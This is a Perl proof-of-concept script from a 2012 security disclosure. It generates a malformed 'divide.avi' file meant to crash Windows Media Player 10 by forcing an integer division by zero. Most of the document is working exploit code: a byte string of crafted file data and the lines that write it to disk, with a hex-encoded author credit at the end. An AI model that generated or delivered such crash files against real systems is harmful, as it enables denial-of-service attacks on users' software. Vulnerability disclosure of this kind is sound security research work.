#!/usr/bin/perl

# Souhail Hammou - Independant Security Researcher & Penetration Tester .
# Facebook : www.facebook.com/dark.puzzle.sec
# E-mail   : dark-puzzle@live.fr
# Greetings to all moroccan researchers and white hats .

# Title  : Windows Media Player 10 - .avi Integer Division By Zero Vulnerability
# Author : Dark-Puzzle (Souhail Hammou)
# Type   : DoS/PoC
# Risk   : Medium
# Vendor : Microsoft
# Versions : 10 Other Version May Be Vulnerable .
# Tested On : Windows XP SP2 .
# Date : 13 October 2012
# ---------------------------------------------------------- #
# Vulnerability Details : 
# Division By zero Vulnerability in Microsoft Windows Media Player Consists to divide the value of a register by Zero .
# In this case it is the ECX register executing a command DIV ECX as well known.
# This will cause an Integer division by Zero --> Exception Can't be Handled --> CRASH .
# Tested Just On Version "10" Might be working on other Versions .

# POC :


my $m = "MThd";
my $div =
"\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xff\xff\x00\xff\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x06\x00\x00\x00\x66\x66\x66\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00";


open(myfile,'>divide.avi');
print myfile $m.$div;
close(myfile);
print "Windows Media Player 10 - .avi Integer Division By Zero Vulnerability\n";
print "\x44\x69\x73\x63\x6F\x76\x65\x72\x65\x64\x20\x26\x20\x50\x6F\x43\x20\x42\x79\x20\x44\x61\x72\x6B\x2D\x50\x75\x7A\x7A\x6C\x65\n";
print "Creating File Please Wait\n";
sleep 5;